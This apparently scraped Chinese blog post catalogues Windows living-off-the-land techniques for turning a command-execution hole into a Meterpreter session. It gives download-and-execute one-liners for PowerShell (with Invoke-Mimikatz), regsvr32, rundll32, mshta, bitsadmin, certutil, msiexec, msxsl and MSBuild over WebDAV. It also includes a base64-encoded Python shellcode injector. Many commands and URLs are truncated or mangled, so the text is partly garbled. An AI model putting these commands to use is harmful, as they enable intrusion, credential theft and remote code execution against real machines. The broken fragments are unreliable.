您的位置 首页 > 教育学习

关于nmzsks我想说windows命令执行漏洞不会玩?看我!

如果经常遇到命令执行漏洞,例如Mssql注入点的命令执行,如何获得meterpreter?此时,你需要找到获得它的方法,命令行执行远程命令的方法发生了很多,但如果使用的话,总是记不住,所以这里总结一下,也许那个方法能帮助你。

(当然,我们这里不说可以直接echo webshell的情形)

1、powershell

eg:

帮助

1powershell IEX (New-Object NET.WebClient).DownloadString(';);Invoke-Mimikatz

2、regsvr32

eg:

帮助

1regsvr32 /u /s /i:http://site.com/js.png

js.png

帮助

1234<?XML version="1.0"?><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscriptlet%3E%0A%3Cregistration%20progid%3D%22ShortJSRAT%22%20classid%3D%22%7B10001111-0000-0000-0000-0000FEEDACDC%7D%22%20%3E%0A%20%20%20%20%3C!--%20Learn%20from%20Casey%20Smith%20%40subTee%20--%3E%0A%20%20%20%20%3Cscript%20language%3D%22JScript%22%3E%0A%20%20%20%20%20%20%20%20%3C!%5BCDATA%5B%20ps%20%3D%20%22cmd.exe%20%2Fc%20calc.exe%22%3B%20new%20ActiveXObject(%22WScri).Run(ps%2C0%2Ctrue)%3B%20%5D%5D%3E%0A%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="<script>" title="<script>" /></registration></scriptlet>

3、rundll32

eg:

帮助

1rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinH;);h.Open("GET",";,false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScri;).Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%

4、mshta

eg:

帮助

12mshta mshta vbscript:Close(Execute("GetObject(""script:http://webserver;")"))

calc.hta

帮助

123456789<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%20language%3D%22VBScript%22%3E%0AWindow.ReSizeTo%200%2C%200%0AWindow.moveTo%20-2000%2C-2000%0ASet%20objShell%20%3D%20CreateObject(%22Wscri)%0AobjS; data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="<script>" title="<script>" /><body>demo</body></HEAD> </HTML>

5、

eg:

帮助

1cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\ 127.0.0.1 scri

6、bitsadmin

eg:

帮助

1cmd.exe /c bitsadmin /transfer d90f %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe

7、python(需安装)

eg:

帮助

1python -c "import urllib2; exec urllib2.urlopen('bc').read();"abc

帮助

1import base64; exec ba("aW1wb3J0IGN0eXBlcwppbXBvcnQgcGxhdGZvcm0KCihhcmNoLCB0eXBlKSA9IHBsYXRmb3JtLmFyY2hpdGVjdHVyZSgpCgojIDMyLWJpdCBQeXRob24KaWYgYXJjaCA9PSAiMzJiaXQiOgoJc2hlbGxjb2RlID0gIlx4ZmNceGU4XHg4OVx4MDBceDAwXHgwMFx4NjBceDg5XHhlNVx4MzFceGQyXHg2NFx4OGJceDUyXHgzMFx4OGJceDUyXHgwY1x4OGJceDUyXHgxNFx4OGJceDcyXHgyOFx4MGZceGI3XHg0YVx4MjZceDMxXHhmZlx4MzFceGMwXHhhY1x4M2NceDYxXHg3Y1x4MDJceDJjXHgyMFx4YzFceGNmXHgwZFx4MDFceGM3XHhlMlx4ZjBceDUyXHg1N1x4OGJceDUyXHgxMFx4OGJceDQyXHgzY1x4MDFceGQwXHg4Ylx4NDBceDc4XHg4NVx4YzBceDc0XHg0YVx4MDFceGQwXHg1MFx4OGJceDQ4XHgxOFx4OGJceDU4XHgyMFx4MDFceGQzXHhlM1x4M2NceDQ5XHg4Ylx4MzRceDhiXHgwMVx4ZDZceDMxXHhmZlx4MzFceGMwXHhhY1x4Yz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4NDFceGI4XHgwMFx4MjBceDAwXHgwMFx4NDlceDg5XHhmOVx4NDFceGJhXHgxMlx4OTZceDg5XHhlMlx4ZmZceGQ1XHg0OFx4ODNceGM0XHgyMFx4ODVceGMwXHg3NFx4YjZceDY2XHg4Ylx4MDdceDQ4XHgwMVx4YzNceDg1XHhjMFx4NzVceGQ3XHg1OFx4NThceGMzXHhlOFx4MzVceGZmXHhmZlx4ZmZceDMxXHgzMFx4MzNceDJlXHgzMlx4MzNceDM4XHgyZVx4MzJceDMyXHgzNVx4MmVceDMxXHgzMlx4MzlceDAwIiAKZWxzZToKCXNoZWxsY29kZSA9ICIiCgojIHNhbml0eSBjaGVjayBvdXIgc2l0dWF0aW9uCmlmIHR5cGUgIT0gIldpbmRvd3NQRSIgb3IgbGVuKHNoZWxsY29kZSkgPT0gMDoKCXF1aXQoKQoKIyBpbmplY3Qgb3VyIHNoZWxsY29kZQpyd3hwYWdlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoMCwgbGVuKHNoZWxsY29kZSksIDB4MTAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSkKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoMCwgMCwgcnd4cGFnZSwgMCwgMCwgMCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGhhbmRsZSwgLTEpCg==")

8、certutil

eg:

帮助

1certutil -urlcache -split -f a.exe && a.exe && del a.exe && certutil -urlcache -split -f delete

9、msiexec

帮助

1msiexec /q /i

calc.png

帮助

1msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png

10、m(需下载)

eg:

帮助

1msxsl

demo.xml

帮助

1234567<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="exec.xsl" ?><customers><customer><name>Microsoft</name></customer></customers>

exec.xsl

帮助

0102030405060708091011121314<?xml version='1.0'?><xsl:stylesheet version="1.0" xmlns:xsl="; xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user=";><msxsl:script language="JScript" implements-prefix="user"> function xml(nodelist) {var r = new ActiveXObject("WScri;).Run("cmd /c calc.exe"); return nodeli().xml; }</msxsl:script><xsl:template match="/"> <xsl:value-of select="user:xml(.)"/></xsl:template></xsl:stylesheet>

11、IEExec

eg:

帮助

12C:\Windows\Micro\Framework\v2.0.50727\> caspol -s offC:\Windows\Micro\Framework\v2.0.50727\> IEExec

12、IEXPLORE.EXE

这个需要IE存在可执行命令的漏洞

eg:

帮助

1"C:\Program Files\Internet Explorer\IEXPLORE.EXE"

exp可以使用类似ms14_064

13、当使用UNC/WebDAV时候多的几种姿势

Cmd

帮助

1cmd.exe /k < \\webdavserver\folder\ba

Cscript/Wscript

帮助

1cscript //E:jscript \\webdavserver\folder\

Regasm/Regsvc

帮助

1C:\Windows\Micro\Framework64\v4.0.30319\rega /u \\webdavserver\folder\

dll 可以使用C#写的

Msbuild

帮助

1cmd /V /c "set MB="C:\Windows\Micro\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\ > & !MB! "

帮助

1 -a \\server\

方式应该还有很多,欢迎留言补充!!

关于作者: luda

无忧经验小编鲁达,内容侵删请Email至wohenlihai#qq.com(#改为@)

热门推荐